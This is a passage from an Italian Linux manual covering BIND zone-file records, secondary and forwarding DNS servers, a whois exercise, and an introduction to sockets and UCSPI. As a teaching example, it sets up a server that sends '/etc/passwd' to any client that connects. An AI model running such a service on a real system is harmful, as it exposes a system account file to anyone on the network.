In tal caso, il simbolo '`@`' del primo record del file '`/etc/bind/zone/brot.dg`' rappresenta precisamente il dominio *brot.dg*.

```
@       IN      SOA     dinkel.brot.dg. root.dinkel.brot.dg. (
                                1998031800
                                28800
                                7200
                                604800
                                86400 )
```

Sarebbe quindi come se fosse stato scritto nel modo seguente:

```
brot.dg.        IN      SOA     ...
```

Tutti i nomi di dominio che dovessero essere indicati senza il punto finale sono considerati relativi al dominio di origine. Per esempio, nello stesso record appare il nome '**`dinkel.brot.dg.`**' che rappresenta un dominio assoluto. Al suo posto sarebbe stato possibile scrivere solo '**`dinkel`**', senza punto finale, perché verrebbe completato correttamente dal dominio di origine.[11]

La sintassi completa del record SOA potrebbe essere espressa nel modo seguente:

```
dominio classe SOA servente_primario contatto (
                   numero_seriale
                   refresh
                   retry
                   expire
                   minimum )
```

Nell'esempio visto, la parola chiave '**`IN`**' rappresenta la classe di indirizzamento, *Internet*, ed è praticamente obbligatorio il suo utilizzo, almeno nel record SOA.

La parola chiave SOA definisce il tipo di record, *Start of authority*; inoltre deve trattarsi del primo record di un file di zona. Segue la descrizione dei dati specifici di questo tipo di record, precisamente ciò che segue la parola chiave SOA.

- Il ***nome canonico*** dell'elaboratore che svolge la funzione di servente DNS primario per il

dominio indicato all'inizio del record. Convenzionalmente, si indica un nome di dominio assoluto.

- L'indirizzo di posta elettronica della persona responsabile per la gestione del servizio. Dal momento che il simbolo '**`@`**' ha un significato speciale per questi record, lo si sostituisce con un punto. Il nome '**`root.dinkel.brot.dg.`**' deve essere interpretato come *`root@dinkel.brot.dg`*.[12]

- Il numero di serie serve ai serventi DNS secondari per sapere quando i dati sono stati modificati. Il numero **deve** essere progressivo. È consentito l'uso di 10 cifre numeriche, pertanto, generalmente si indica la data (in formato ***aaaammgg***) seguita da due cifre aggiuntive. Ogni volta che si modifica il file di zona, questo numero deve essere incrementato; utilizzando la data come in questo esempio si hanno a disposizione le ultime due cifre per indicare diverse versioni riferite allo stesso giorno.

- Il numero definito come *refresh* rappresenta l'intervallo in secondi tra una verifica e la successiva da parte di un servente DNS secondario per determinare se i dati sono stati modificati. Come già specificato, questa verifica si basa sul confronto del numero di serie: se è aumentato, il servente DNS deve rileggere i dati di questo file.

- Il numero definito come *retry* rappresenta l'intervallo in secondi tra una tentativo fallito di accedere al servente DNS e il successivo. In pratica, quando il servente DNS primario è inattivo, i serventi secondari continuano a funzionare e fornire il loro servizio, tuttavia, a intervalli regolari tentano di contattare il servente primario. Questo intervallo è generalmente più corto del tempo di *refresh*, ma non troppo breve, per non sovraccaricare inutilmente la rete con richieste eccessive.

- Il numero definito come *expire* rappresenta la durata massima di validità dei dati quando il servente DNS secondario non riesce più a raggiungere quello primario. In situazioni normali può trattarsi di un valore molto grande, per esempio un mese, anche se negli esempi mostrati è stato usato un valore molto inferiore.

- Il numero definito come *minimum* rappresenta il tempo predefinito di validità per gli altri record di risorsa. Anche questo valore, se ciò è conveniente, può essere piuttosto grande.

39.5.7 NS -- Name Server

Il secondo record è generalmente quello che indica il nome del nodo che offre il servizio di risoluzione dei nomi, ovvero il servente DNS, come nell'esempio seguente:

```
                                NS    dinkel.brot.dg.
```

La parola chiave '**`NS`**' sta appunto a indicare di che record si tratta. In un file di zona possono apparire più record NS, quando si vuole demandare parte della risoluzione di quella zona ad altri serventi DNS, oppure quando si vogliono semplicemente affiancare.

Questo record viene usato generalmente senza l'indicazione esplicita del dominio e della classe, dal momento che può fare riferimento a quelli già dichiarati nel record SOA. Sotto questo punto di vista, l'esempio appena mostrato corrisponde alla trasformazione seguente:

```
@               IN       NS    dinkel.brot.dg.
```

Il nome del servente DNS dovrebbe essere un nome canonico, cioè un nome per il quale esiste un record di tipo '**`A`**' corrispondente.

39.5.8 MX -- Mail Exchanger

Nei file di zona utilizzati per tradurre i nomi di dominio in indirizzi numerici, dopo l'indicazione dei record NS, si possono trovare uno o più record che rappresentano i servizi per lo scambio della posta elettronica (serventi SMTP). La sintassi precisa è la seguente:

```
dominio  classe  MX  precedenza  nodo
```

Si osservi l'esempio seguente:

```
                              MX        10        dinkel.brot.dg.
                              MX        20        roggen.brot.dg.
```

Qui appaiono due record di questo tipo. La parola chiave MX indica il tipo di record; il numero che segue rappresenta il livello di precedenza; il nome finale rappresenta il nodo che offre il servizio di scambio di posta elettronica. Nell'esempio, si vuole fare in modo che il primo servizio a essere interpellato sia quello dell'elaboratore `dinkel.brot.dg` e se questo non risponde si presenta l'alternativa data da `roggen.brot.dg`.

Anche qui sono state omesse le indicazioni del dominio e della classe di indirizzamento, in modo da utilizzare implicitamente quelle della dichiarazione precedente. Anche in questo caso, l'intenzione è quella di fare riferimento al dominio di origine e alla classe '**IN**'.

```
@                   IN        MX        10        dinkel.brot.dg.
@                   IN        MX        20        roggen.brot.dg.
```

39.5.9 A, AAAA, A6 -- Address

I file di zona utilizzati per tradurre i nomi di dominio in indirizzi numerici sono fatti essenzialmente per contenere record di tipo A, AAAA e A6, ovvero record di indirizzo, che permettono di definire le corrispondenze tra nomi e indirizzi numerici.

```
dinkel.brot.dg.     A        192.168.1.1
dinkel.brot.dg.     A6    0 fec0:0:0:1:0:0:0:1
roggen.brot.dg.     A        192.168.1.2
roggen.brot.dg.     A6    0 fec0:0:0:1:0:0:0:2
```

Nell'esempio si mostrano quattro di questi record. Il primo, in particolare, indica che il nome `dinkel.brot.dg` corrisponde all'indirizzo numerico 192.168.1.1, IPv4, mentre il secondo indica che lo stesso nome corrisponde all'indirizzo fec0:0:0:1:0:0:0:1 per IPv6.

Da questo si comprende che i record A riguardano indirizzi IPv4, mentre i record A6 riguardano indirizzi IPv6. I record AAAA sono superati e servivano anche questi per ottenere gli indirizzi IPv6. L'esempio seguente riguarda l'uso di un record AAAA:

```
dinkel.brot.dg.               AAAA     fec0:0:0:1:0:0:0:1
```

Come già accennato in precedenza, i nomi possono essere indicati in forma abbreviata, relativi al dominio di origine per cui è stato definito il file di zona; in questo caso si tratta di `brot.dg`. Per cui, i quattro record appena mostrati avrebbero potuto essere rappresentati nella forma seguente:

```
dinkel          A         192.168.1.1
dinkel          A6      0 fec0:0:0:1:0:0:0:1
roggen          A         192.168.1.2
roggen          A6      0 fec0:0:0:1:0:0:0:2
```

È possibile attribuire nomi diversi allo stesso indirizzo numerico, come nell'esempio seguente. Non si tratta di alias, ma di nomi diversi che vengono tradotti nello stesso indirizzo reale.

```
dinkel.brot.dg.         A       192.168.1.1
roggen.brot.dg.         A       192.168.1.2

farro.brot.dg.          A       192.168.1.1
segale.brot.dg.         A       192.168.1.2
```

Questo tipo di record prevede anche la possibilità di utilizzare l'indicazione della durata di validità (TTL) e della classe. Come al solito, se la classe non viene utilizzata, si fa riferimento alla classe del record precedente, mentre per la durata di validità vale quanto definito come *minimum* nel record SOA. Dagli esempi già mostrati, i quattro record di questa sezione potrebbero essere scritti nel modo seguente:

```
dinkel.brot.dg.         86400   IN      A         192.168.1.1
dinkel.brot.dg.         86400   IN      A6      0 fec0:0:0:1:0:0:0:1
roggen.brot.dg.         86400   IN      A         192.168.1.2
roggen.brot.dg.         86400   IN      A6      0 fec0:0:0:1:0:0:0:2
```

39.5.10 PTR -- Pointer

Nei file di zona utilizzati per tradurre i nomi di dominio che appartengono a *.arpa* in nomi di dominio normale, cioè quelli che servono a ottenere il nome a partire dall'indirizzo numerico, si utilizzano i record PTR (o record puntatori) con questo scopo.

```
1                       PTR     dinkel.brot.dg.
2                       PTR     roggen.brot.dg.
```

L'esempio dei due record che appaiono sopra si riferisce a indirizzi IPv4, con un significato intuitivo, ma non necessariamente chiaro. Il numero che appare all'inizio è un nome di dominio abbreviato, riferito all'origine *1.168.192.in-addr.arpa*, per cui, volendo indicare nomi di dominio completi, si dovrebbe fare come nell'esempio seguente:

```
1.1.168.192.in-addr.arpa.       PTR     dinkel.brot.dg.
2.1.168.192.in-addr.arpa.       PTR     roggen.brot.dg.
```

Dovrebbe essere più chiaro adesso che i record PTR rappresentano un collegamento tra un nome di dominio e un altro. È comunque solo attraverso questo meccanismo che si può ottenere una traduzione degli indirizzi numerici in nomi di dominio.

È il caso di considerare il fatto che attraverso i record A e A6 possono essere abbinati più nomi di dominio allo stesso indirizzo numerico, ma con i record PTR si può abbinare un indirizzo numerico a un solo nome di dominio. Cioè a dire che quando si chiede il nome corrispondente a un indirizzo numerico se ne ottiene uno solo. Anche per questo, è necessario che il nome di dominio indicato corrisponda a un nome canonico.

Con indirizzi IPv6 si usa una notazione particolare:

```
\[x0000000000000001/64]          PTR     dinkel.brot.dg.
\[x0000000000000002/64]          PTR     roggen.brot.dg.
```

Qui la stringa '**`\[x0000000000000001/64]`**' fa riferimento esplicito a un numero esadecimale, 0000000000000001$_{16}$, in cui vanno presi in considerazione gli ultimi 64 bit. Questa stringa va attaccata alla stringa corrispondente che rappresenta il dominio di origine, come indicato nel file '`named.conf`':

```
zone "\[xfec0000000000001/64].ip6.arpa" {
        type master;
        file "/etc/bind/zone/fec0:0:0:1";
};
```

Pertanto, si intende fare riferimento all'indirizzo fec00000000000010000000000000001$_{16}$, ovvero fec0:0000:0000:0001:0000:0000:0000:0001, ovvero fec0:0:0:1:0:0:0:1.

In passato è esistito anche un altro modo per rappresentare un indirizzo IPv6, attraverso il dominio superato *`ip6.int`*. Anche se si tratta di un sistema superato, vale la pena di annotare il meccanismo. Nel file '`named.conf`' si indicava il dominio come:

```
zone "1.0.0.0.0.0.0.0.0.0.0.0.0.c.e.f.IP6.INT" {
        type master;
        file "fec0:0:0:1";
};
```

Come si intuisce, si tratta di un dominio ottenuto da tutte le cifre esadecimali che compongono la prima parte dell'indirizzo. Nel file di zona, si continuava il dominio:

```
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0         PTR     dinkel.brot.dg.
2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0         PTR     roggen.brot.dg.
```

oppure lo si scriveva per esteso, come già si può fare per *`in-addr.arpa`*:

```
1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.0.0.0.0.0.0.0.0.0.c.e.f.IP6.INT ↩
↪PTR    dinkel.brot.dg.
2.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.1.0.0.0.0.0.0.0.0.0.0.0.0.c.e.f.IP6.INT ↩
↪PTR    roggen.brot.dg.
```

Nella documentazione originale, questa notazione è nota con il termine *nibble* (usato come aggettivo), perché questo è il nome che un tempo veniva dato ai gruppetti di 4 bit (mezzo byte), dal momento che i domini *`ip6.int`* si scompongono seguendo le cifre esadecimali, ognuna delle quali occupa 4 bit.

Naturalmente, anche per il record PTR valgono le considerazioni fatte per il tipo A e A6, riguardo all'indicazione della durata di validità e alla classe di indirizzamento.

39.5.11 CNAME -- Canonical Name

Nei file di zona utilizzati per tradurre i nomi di dominio in indirizzi numerici, possono apparire dei record CNAME che permettono di definire degli alias a nomi di dominio già definiti (i nomi canonici).

```
www.dinkel.brot.dg.      CNAME    dinkel.brot.dg.
ftp.dinkel.brot.dg.      CNAME    dinkel.brot.dg.
```

L'esempio dei due record appena mostrati, indica che i nomi *`www.dinkel.brot.dg`* e *`ftp.dinkel.brot.dg`* sono alias del nome canonico *`dinkel.brot.dg`*.

Teoricamente si può fare la stessa cosa utilizzando record di tipo A e di tipo A6 con la differenza che i nomi vanno abbinati a un indirizzo numerico. L'utilità del record CNAME sta nella facilità con cui possono essere cambiati gli indirizzi: in questo caso, basta modificare l'indirizzo numerico di *`dinkel.brot.dg`* e gli alias non hanno bisogno di altre modifiche.

Tuttavia, l'uso di alias definiti attraverso record CNAME è altamente sconsigliabile nella maggior parte delle situazioni. Questo significa che nei record SOA, NS, MX e CNAME, è meglio indicare sempre solo nomi di dominio per cui esiste la definizione di corrispondenza attraverso un record A o A6. In pratica, i record CNAME andrebbero usati solo per mostrare all'esterno nomi alternativi esteticamente più adatti alle varie circostanze, come nell'esempio mostrato in cui si aggiunge il prefisso '**`www`**' e '**`ftp`**'.

In particolare, nel record SOA è assolutamente vietato utilizzare nomi definiti come alias.

39.5.12 File dei serventi principali

Nelle sezioni precedenti sono stati descritti i vari record di risorsa e il loro utilizzo nei file di zona. Il file utilizzato per elencare i serventi DNS principali contiene esclusivamente due tipi di record: NS e A.

I record NS servono a indicare i nomi dei vari serventi DNS competenti per il dominio principale; i record A forniscono la traduzione di questi nomi in indirizzi numerici. Ciò è esattamente quanto serve in questo tipo di file.

```
.                         3600000   IN   NS    A.ROOT-SERVERS.NET.
A.ROOT-SERVERS.NET.       3600000        A     198.41.0.4
```

39.6 Serventi DNS secondari

Un servente DNS secondario, o *slave*, è quello che riproduce le informazioni di altri serventi, controllando la validità a intervalli regolari, aggiornando i dati quando necessario.

Supponendo di volere realizzare un servente DNS secondario nell'elaboratore *`roggen.brot.dg`*, per seguire gli esempi già mostrati, si può semplicemente definire il file '`named.conf`' come nell'esempio seguente:

```
options {
        directory "/var/cache/bind";
```

```
};
//
zone "." {
        type hint;
        file "/etc/bind/named.root";
};
//
zone "0.0.127.in-addr.arpa" {
        type master;
        file "/etc/bind/zone/127.0.0";
};
//
zone "1.168.192.in-addr.arpa" {
        type slave;
        file "zone/192.168.1";
        masters {
                192.168.1.1;
        };
};
zone "\[xfec0000000000001/64].ip6.arpa" {
        type slave;
        file "zone/fec0:0:0:1";
        masters {
                192.168.1.1;
        };
};
zone "dg" {
        type slave;
        file "zone/dg";
        masters {
                192.168.1.1;
        };
};
zone "brot.dg" {
        type slave;
        file "zone/brot.dg";
        masters {
                192.168.1.1;
        };
};
```

I file '`/etc/bind/named.root`' e '`/etc/bind/zone/127.0.0`' sono i soliti già visti per il caso del servente primario. In questo modo, il servente DNS secondario è in grado di risolvere da solo le richieste al di fuori delle zone di competenza.

Le direttive di dichiarazione di zona che contengono l'opzione '**`type slave`**' servono a fare in modo che il DNS locale risponda alle richieste riferite a queste, anche se poi a sua volta deve aggiornare i file relativi in base a quanto ottenuto dai DNS indicati nell'opzione '**`masters`**'.

Si osservi che in questo caso, le zone copiate dal DNS primario sono inserite in file collocati al di sotto di '`/var/cache/bind/`', dal momento che sono stati usati percorsi relativi. Per esempio, il file '`/var/cache/bind/zone/192.168.1`' serve a contenere la zona relativa agli indirizzi 192.168.1.*.

39.7 Servente DNS di inoltro

Un servente DNS di inoltro, o *forwarder*, è quello che rinvia le richieste a un altro servizio di risoluzione dei nomi.

Il DNS utilizza una serie di protocolli, tra cui anche UDP. Se ci si trova a essere protetti da un firewall che esclude il transito dei pacchetti UDP, per poter interpellare gli altri servizi di risoluzione dei nomi delle zone che sono al di fuori della propria competenza locale, occorre rinviare le richieste a un servizio esterno. Questa situazione può verificarsi quando la propria connessione a Internet avviene attraverso un ISP attento ai problemi di sicurezza e che usa questa politica di protezione.

Supponendo di volere realizzare un servente DNS di inoltro nell'elaboratore *`roggen.brot.dg`*, per seguire gli esempi già mostrati, si può semplicemente definire il file '`named.conf`' come nell'esempio seguente:

```
options {
        directory "/var/cache/bind";
        forward only;
        forwarders {
                192.168.1.1;
        };
};
//
zone "0.0.127.in-addr.arpa" {
        type master;
        file "/etc/bind/zone/127.0.0";
};
```

Si può osservare l'assenza della dichiarazione della zona del dominio principale. Solo il dominio *`0.0.127.in-addr.arpa`* viene risolto localmente, tutto il resto viene richiesto al DNS corrispondente all'indirizzo 192.168.1.1. L'opzione '**`forward only`**' sottolinea questo fatto.

39.8 Esercitazione: individuazione dei nomi di dominio disponibili e occupati

Con l'ausilio del programma '**`whois`**', si cerchino le informazioni utili a contattare chi ha registrato dei nomi di dominio che potrebbero essere di proprio interesse. I nomi di dominio in questione devono essere di secondo livello (del tipo *`tizio.it`*). Il nome di dominio da cercare può essere scelto liberamente, in base a un proprio interesse ragionevole, oppure può essere costituito dal proprio cognome o dal proprio nome. La ricerca va fatta sui domini di primo livello per i quali è possibile eseguire la registrazione, come nell'esempio seguente:

Dominio di secondo livello	Ente di registrazione (*registrar*)	Organizzazione o persona per la quale è fatta la registrazione (*registrant*)	Scadenza della registrazione	Utilizzo del nome di dominio
`tizio.it`	IT-INC	Primo Tizio srl	17 ottobre 2010	No
`tizio.com`	REGISTER.COM	Tizio Tizi spa	3 maggio 2011	No
`tizio.net`	NETWORK SOLUTIONS	Caio Cai	22 gennaio 2011	Sì
`tizio.org`	Register-it	Mevio Mary	22 novembre 2010	No
`tizio.info`	Register-it	Sempronio Sesto	25 ottobre 2010	No
`tizio.name`	--	--	--	--
`tizio.ws`	--	--	--	--
`tizio.biz`	--	--	--	--
`tizio.tv`	--	--	--	--
`tizio.cc`	--	--	--	--
`tizio.tk`	--	--	--	--

Per scoprire se un dominio registrato è utilizzato, si può usare un navigatore per provare se esiste effettivamente un sito con quel nome, magari con l'aggiunta del prefisso '**`www`**' (come per esempio potrebbe essere `www.tizio.ws`).

39.9 Riferimenti

- *Bind 9 administrator reference manual*, 2001, Internet Software Consortium
  ⟨*http://unbound.sourceforge.net/manual/Bv9ARM.html* ⟩
- K. Harrenstien, M. Stahl, E. Feinler, *RFC 954: NICNAME/WHOIS*, 1985
  ⟨*http://www.ietf.org/rfc/rfc954.txt* ⟩
- Autorità di registrazione italiana, *it-nic*
  ⟨*http://www.nic.it/* ⟩
- David E. Smith, *Dynamic DNS*
  ⟨*http://www.technopagan.org/dynamic/* ⟩
- DMOZ, *Dynamic DNS*
  ⟨*http://www.dmoz.org/Computers/Internet/Protocols/DNS/DNS_Providers/Dynamic_DNS/* ⟩
- Tavis Barr, Nicolai Langfeldt, Seth Vidal, *NFS HOWTO*
  ⟨*http://www.linux.org/docs/ldp/howto/HOWTO-INDEX/howtos.html* ⟩
- Olaf Kirch, *NAG, The Linux Network Administrators' Guide*
- *Internet Systems Consortium*
  ⟨*http://www.isc.org/* ⟩
- *named(8)*
- *Bind 9 administrator reference manual*, 2001, Internet Software Consortium
  ⟨*http://unbound.sourceforge.net/manual/Bv9ARM.html* ⟩

[1] Nel file '`/etc/hosts`' è possibile indicare sia gli indirizzi IPv4, sia quelli IPv6 (site-local), mantenendo gli stessi nomi di dominio. In pratica, quello che si vede nell'esempio funziona.

[2] **Whois** GNU GPL

[3] **BIND** software libero con licenza speciale e restrizioni per quanto riguarda l'algoritmo RSA

[4] I nomi di dominio sono completi (FQDN) perché sono indicati con un punto finale.

[5] **Nslookup** software libero con licenza speciale

[6] **Host** software libero con licenza speciale

[7] **Dig** software libero con licenza speciale

[8] L'esempio proposto riguarda la situazione di un certo momento. Se si tenta di ripetere l'esempio, è probabile che il risultato sia differente, soprattutto per ciò che riguarda i numeri IP attribuiti ai vari nodi che si incontrano.

[9] Eventualmente, potrebbe essere conveniente anche la presenza di una direttiva '**`zone`**' riferita al dominio *`\[x00000000000000000000000000000001/128].ip6.arpa`*, per la traduzione dell'indirizzo ::1 IPv6.

[10] Per esempio, si parla di TTL anche a proposito di pacchetti IP, ma in quel caso si intende indicare il numero massimo di salti (attraverso i router) che questi possono fare.

[11] Tuttavia, in un record SOA è preferibile indicare solo nomi di dominio assoluti.

[12] Di conseguenza, indirizzi di posta elettronica del tipo *`mario.rossi@brot.dg`* non si possono usare, perché contengono il punto prima della chiocciola.

Capitolo 40

Socket e UCSPI

40.1 Principio di funzionamento 2273

40.2 Socket di dominio Unix 2274

40.3 Socket di dominio Internet 2275

40.4 Unix client-server program interface 2275

40.5 UCSPI-unix 2278

40.6 UCSPI-tcp 2279

40.7 Riferimenti 2281

`tcpclient` 2279 `tcpserver` 2279 `unixclient` 2278 `unixserver` 2278

All'interno di un sistema Unix, i metodi a disposizione dei programmi per comunicare tra loro sono diversi; quelli più evoluti fanno uso di «prese», ovvero di *socket*, a cui «attaccarsi».

Questi *socket* possono distinguersi generalmente in due categorie, in base alla modalità attraverso la quale avviene in pratica il collegamento tra i programmi: può trattarsi di una connessione locale, con qualcosa che assomiglia a un file FIFO (*pipe* con nome), oppure una connessione attraverso la rete. Nel primo caso si parla di socket di dominio Unix (*Unix domain socket*); nel secondo, si tratta di solito di socket di dominio Internet.

40.1 Principio di funzionamento

Quando si utilizzano i *socket* si distingue tra un programma che apre un *socket*, restando in ascolto di questo, e un programma che apre un *socket* per poi chiamare un altro programma che è in ascolto presso un certo indirizzo (definito in base al tipo di connessione). Si intende che per ottenere la connessione tra i due programmi, uno deve rimanere in ascolto, mentre l'altro deve attivare il suo sistema di ascolto prima di cercare di contattare il primo.

Una volta instaurata la comunicazione, i due programmi possono usare la connessione quasi come fosse l'accesso a un file, dove la lettura da una parte corrisponde alla scrittura dall'altra.

Figura 40.1. Comunicazione tra due programmi che usano i *socket*.

Programma chiamante
1) apre un socket
2) chiama l'altro programma

scrittura → *lettura*

lettura ← *scrittura*

Programma in ascolto
1) apre un socket
2) rimane in attesa di chiamate

Ognuna delle due parti può chiudere la comunicazione quando vuole, chiudendo il descrittore che vi fa riferimento, come avviene con i file; dall'altro lato, si manifesta così un errore di lettura o di scrittura, a seconda del tipo di operazione che si stava svolgendo. Inoltre, va considerato il fatto che il programma che apre un *socket* per poi rimanere in attesa di chiamate, può mettere in coda le chiamate a cui non può rispondere perché già impegnato in una comunicazione. Naturalmente, si fissa un tetto massimo oltre il quale le chiamate vengono rifiutate.

Quando si definisce un *socket*, oltre a stabilirne il tipo di indirizzamento, deve essere specificato il modo in cui i dati vengono trasferiti. Le tipologie più comuni sono il flusso continuo

(*stream*) e la trasmissione a pacchetti senza controllo (datagrammi): nel primo caso il sistema verifica e garantisce che quanto viene trasmesso arrivi effettivamente (rispettando anche l'ordine di trasmissione), mentre nel secondo caso le trasmissioni sono a blocchi e non c'è un sistema di verifica.

40.2 Socket di dominio Unix

La comunicazione tra programmi, attraverso socket di dominio Unix, sfrutta un file speciale, di tipo *socket*. Utilizzando '**ls**', con l'opzione '**-l**', il file viene evidenziato da una lettera '**s**' all'inizio della stringa che descrive i permessi:

```
srwxrwxr-x   1 tizio   tizio   0 set 20 14:44 orb-8085020182096096758
```

Questo file rappresenta generalmente il riferimento «visibile» usato dal programma che rimane in ascolto, mentre il programma chiamante si può limitare ad aprire un inode, senza che a questo sia abbinato un nome. Il file visibile diventa l'indirizzo a cui il programma chiamante fa riferimento per contattare la sua controparte.

Si può fare un controllo dello stato dei socket di dominio Unix con l'aiuto di Netstat, come nell'esempio seguente:

$ **netstat --unix -p -a** [*Invio*]

```
Active UNIX domain sockets (servers and established)
Proto RefCnt Flags     Type    State      I-Node PID/Program name  Path
unix  2      [ ACC ]   STREAM  LISTENING  3234   -                 /tmp/.X11-unix/X0
unix  7      [ ]       DGRAM              1573   -                 /dev/log
unix  2      [ ACC ]   STREAM  LISTENING  2421   -                 /dev/printer
unix  2      [ ACC ]   STREAM  LISTENING  2424   -                 /dev/gpmctl
unix  3      [ ]       STREAM  CONNECTED  3254   -                 /tmp/.X11-unix/X0
unix  3      [ ]       STREAM  CONNECTED  3253   750/xfig
unix  3      [ ]       STREAM  CONNECTED  3252   -                 /tmp/.X11-unix/X0
unix  3      [ ]       STREAM  CONNECTED  3251   746/twm
unix  3      [ ]       STREAM  CONNECTED  3250   -                 /tmp/.X11-unix/X0
unix  3      [ ]       STREAM  CONNECTED  3249   748/xclock
unix  3      [ ]       STREAM  CONNECTED  3244   -                 /tmp/.X11-unix/X0
unix  3      [ ]       STREAM  CONNECTED  3236   740/xinit
unix  3      [ ]       STREAM  CONNECTED  3160   -                 /dev/gpmctl
unix  3      [ ]       STREAM  CONNECTED  3159   656/mc
unix  2      [ ]       DGRAM              2909   -
unix  2      [ ]       DGRAM              2803   -
unix  2      [ ]       DGRAM              2702   -
unix  2      [ ]       DGRAM              2352   -
unix  2      [ ]       DGRAM              1667   -
```

Da un listato come questo si può intuire, per quanto possibile, il legame tra i processi. Per esempio, il programma '**mc**', in funzione con il numero PID 656, ha aperto un inode (3159) che risulta connesso; nella riga precedente, appare un altro inode (3160), anche questo connesso e associato al nome '/dev/gpmctl'. Conoscendo a cosa può riferirsi il file '/dev/gpmctl', si intende che si tratti del collegamento che c'è tra '**mc**' (Midnight Commander) e il demone che si occupa di controllare il movimento del mouse ('**gpm**').

Come si può osservare dalla colonna '**Type**' del listato, anche nei socket di dominio Unix si può distinguere tra connessioni continue, evidenziate dalla parola chiave '**STREAM**', e connessioni a datagramma, come suggerisce la parola chiave '**DGRAM**'.

40.3 Socket di dominio Internet

Le connessioni attraverso socket di dominio Internet si differenziano perché, invece di usare il riferimento a file speciali, utilizzano un indirizzo IP assieme a una porta (TCP o UDP). In tal modo si possono realizzare connessioni che vanno anche al di fuori dell'elaboratore locale.

Si può fare un controllo dello stato dei socket di dominio Internet con l'aiuto di Netstat, come nell'esempio seguente:

$ **netstat --inet -p -a -n** [*Invio*]

```
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address      Foreign Address State       PID/Program name
tcp        0      0 0.0.0.0:32768      0.0.0.0:*       LISTEN      357/rpc.statd
tcp        0      0 0.0.0.0:32769      0.0.0.0:*       LISTEN      558/rpc.mountd
tcp        0      0 0.0.0.0:515        0.0.0.0:*       LISTEN      519/lpd
tcp        0      0 0.0.0.0:847        0.0.0.0:*       LISTEN      245/rpc.ugidd
tcp        0      0 0.0.0.0:111        0.0.0.0:*       LISTEN      240/portmap
tcp        0      0 0.0.0.0:80         0.0.0.0:*       LISTEN      505/boa
tcp        0      0 127.0.0.1:953      0.0.0.0:*       LISTEN      349/named
tcp        0      0 192.168.1.1:32773  192.168.1.2:22  ESTABLISHED 938/ssh
udp        0      0 0.0.0.0:32768      0.0.0.0:*                   357/rpc.statd
udp        0      0 0.0.0.0:2049       0.0.0.0:*                   -
udp        0      0 0.0.0.0:32769      0.0.0.0:*                   349/named
udp        0      0 0.0.0.0:32771      0.0.0.0:*                   -
udp        0      0 0.0.0.0:32772      0.0.0.0:*                   558/rpc.mountd
udp        0      0 192.168.1.1:53     0.0.0.0:*                   349/named
udp        0      0 127.0.0.1:53       0.0.0.0:*                   349/named
udp        0      0 0.0.0.0:111        0.0.0.0:*                   240/portmap
```

Il listato di esempio è ridotto rispetto a quanto potrebbe essere riportato realmente. In questo caso si può osservare la presenza di una sola connessione attiva, la quale utilizza presso l'elaboratore remoto la porta 22 (protocollo SSH). Dal momento che si tratta di connessioni TCP/IP, invece si indicare una colonna con il tipo di flusso di dati, appare il protocollo, TCP o UDP, dove il primo costituisce in pratica una connessione continua e controllata, mentre il secondo consente solo l'invio di datagrammi.

40.4 Unix client-server program interface

UCSPI,[1] ovvero *Unix client-server program interface*, è un'interfaccia a riga di comando che consente la comunicazione, attraverso i *socket*, a programmi che sono sprovvisti di questa funzionalità. In altri termini, consente di realizzare programmi che si avvalgono di questa interfaccia a riga di comando, senza bisogno di approfondire il problema della comunicazione con i *socket*.

Per la realizzazione di un'interfaccia UCSPI serve una coppia di programmi: uno per il servente UCSPI e l'altro per il cliente. Il primo dei due è il programma che si mette in ascolto, in

attesa di chiamate, l'altro è il programma chiamante. Entrambi questi programmi hanno una sintassi uniforme per la riga di comando:

nome_eseguibile [***opzioni***] ***indirizzo*** ***applicazione*** [***argomenti_applicazione***]

L'indirizzo è ciò che serve a raggiungere il *socket* del servente; per esempio potrebbe essere il nome di un file *socket*, oppure un indirizzo IP completo di porta.

Pertanto, l'indirizzo indicato in fase di avvio del servente serve a creare il *socket*, mentre quello che riguarda il cliente, serve a raggiungere il servente.

Questo servente o cliente UCSPI, quando una connessione si instaura, avvia un altro programma, ovvero l'applicazione, come indicato alla fine della riga di comando (assieme alle opzioni e agli altri argomenti che possano essere necessari all'applicazione stessa); il programma ottiene poi le informazioni necessarie riferite alla connessione da alcune variabili di ambiente particolari. La comunicazione tra l'interfaccia UCSPI e l'applicazione avviene attraverso alcuni descrittori di file particolari.

Le opzioni comuni che deve avere un'interfaccia UCSPI sono quelle seguenti, a cui se ne possono aggiungere altre.

Opzione	Descrizione
`-v`	Mostra informazioni dettagliate.
`-Q`	Mostra informazioni solo sugli errori.
`-q`	Non emette alcuna informazione.

Le variabili di ambiente che vengono passate all'applicazione sono descritte nell'elenco seguente.

Variabile	Descrizione
`PROTO`	Contiene il nome del protocollo utilizzato.
protocollo`LOCAL*`	Si tratta di una serie di variabili che iniziano per il nome del protocollo, continuano con la stringa '**`LOCAL`**' e terminano in vario modo, descrivono le caratteristiche specifiche del protocollo dal lato locale.
protocollo`REMOTE*`	Si tratta di una serie di variabili che iniziano per il nome del protocollo, continuano con la stringa '**`REMOTE`**' e terminano in vario modo, descrivono le caratteristiche specifiche del protocollo dal lato remoto.

Come accennato, la comunicazione tra l'interfaccia e l'applicazione avviene attraverso dei descrittori standard. Nel caso del servente, l'applicazione riceve dati leggendo lo standard input, mentre trasmette emettendo dati attraverso lo standard output.

Figura 40.7. Comunicazione tra il servente e l'applicazione.

La comunicazione tra applicazione e il cliente UCSPI è più difficile, perché è necessario lasciare liberi i descrittori dei flussi standard comuni (standard input, standard output e standard error), a disposizione dell'applicazione, per i propri fini. Pertanto, si usano i descrittori sei e sette, rispettivamente per la lettura e la scrittura.

Figura 40.8. Comunicazione tra il cliente e l'applicazione.

A titolo di esempio, viene mostrato qualcosa di molto semplice: da una parte, un servente che, a ogni connessione, trasmette il contenuto del file '`/etc/passwd`'; dall'altra, un cliente che scorre questo risultato sullo schermo. Per cominciare, il servente viene definito in modo molto semplice:

$ ***servente indirizzo*** **`cat /etc/passwd`** [*Invio*]

Infatti, '**`cat`**' emette attraverso il suo standard output il contenuto del file '`/etc/passwd`', che viene prelevato dal programma che costituisce l'interfaccia UCSPI, mentre lo standard input che conterrebbe il flusso di dati in ingresso dalla connessione, viene ignorato da '**`cat`**'.

La predisposizione dal lato cliente diventa invece un po' più difficile: serve almeno uno script:

```
#!/bin/sh
cat <&6- | less
```

